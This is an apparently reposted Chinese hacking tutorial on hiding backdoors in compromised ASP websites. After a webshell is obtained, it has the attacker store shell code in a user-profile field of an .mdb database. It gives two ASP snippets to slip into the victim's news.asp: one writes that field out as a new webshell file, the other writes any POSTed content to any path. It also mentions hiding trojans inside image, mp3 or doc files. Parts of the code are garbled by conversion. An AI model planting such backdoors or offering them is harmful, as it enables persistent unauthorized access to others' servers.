巧妙利用.mdb后缀数据库做后门 PDF转换可能丢失图片或格式，建议阅读原文
https://www.100test.com/kao_ti2020/454/2021_2022__E5_B7_A7_E5_A6_99_E5_88_A9_E7_c98_454854.htm 我不否认n早前的那个把asp木马写到图片文件中不失为一种好的方法，其实不仅可以写到图片啦 写到mp3文件里写到doc文件里都是可以的啦copy 文件名/参数 文件名/参数 生成文件名 这样的方法可以很灵活的运用来达到隐藏文件的目的，具体的参数就是/a以acsic码方式，/b二进制方式，就不罗嗦这些了，至于如何上传webshell,什么是webshell也不属于本文的讨论范围。今天要讲的是如何把后门放到后缀.mdb的数据库中，前提是在我们拿到 一个webshell之后... 我们所知道的，很多站点在用户注册的时候要让填好多东西例如： 用户名、密码、QQ、邮箱、个人简介、电话、联系方式、住址一类的 而对应到数据库中也都会有相应的表 字段 值 我今天要做的就是 我注册一个用户在 我的个人简介的地方上写入shell代码，然后修改他站点上的一个文件，使用的时候触发这个文件，就把我个人简历中的shell代码，备份到当前目录下if request("action")="firefox" then fname=request.querystring("fn")tname=request.querystring("tn")bname=request.querystring("bn")id=request.querystring("id")idvalue=request.querystring("idv")set rs=server.createobject("ADODB.recordset")sql="0select "amp. " from "amp. " where "amp."="amp."""""rs.open sql,conn,1,3if not rs.eof thencontent=rs(bname)elseresponse.write "Nothing"end ifset fso=Server.CreateObject("Scripting.FileSystemObject")set

txtfile=fso.createtextfile(server.mappath(fname))txtfile.writeline(content)txtfile.closeend if%>将上边的代码加到站点的一个文件中如news.asp根据我们了解的信息 在其站点注册后 下载数据库看结构我注册的firefox名字是在 user表 其id值为119 用于存放我注册简历的表字段为jl那么在使用的时候我们news.asp?action=firefoxamp.tn=useramp.id=id&amp.idv=119就可以在news.asp相同目录下写入一个名为 firefox.asp的webshell 以上可以说是万千隐藏方法中的一种 下边再说另外一种更方便的隐藏方法这个方法就和mdb后缀无关系了同样我们还是修改news.asp 将以下代码插入到对方news.asp中if request("action")="firefox" then n=request.form("n")c=request.form("c")set fso=Server.CreateObject("Scripting.FileSystemObject")set txtfile=fso.createtextfile(server.mappath(n))txtfile.writeline(c)txtfile.closeend if%>这段代码相对简单些 算是一个木马的服务端吧 使用的时候以这段代码配合F.s.t火狐技术联盟[www.wrsky.com]Name:name=n width="32">Shell:width="32">将以上代码中的http://localhost/config.asp?action=firefox替换成你的服务端地址 然后保存为本地的.htm文件，本地打开后定义要生成的文件名 文件内容 远程提交 ok 又是一种留后门的方法 100Test 下载频道开通，各类考试题目直接下载。详细请访问 www.100test.com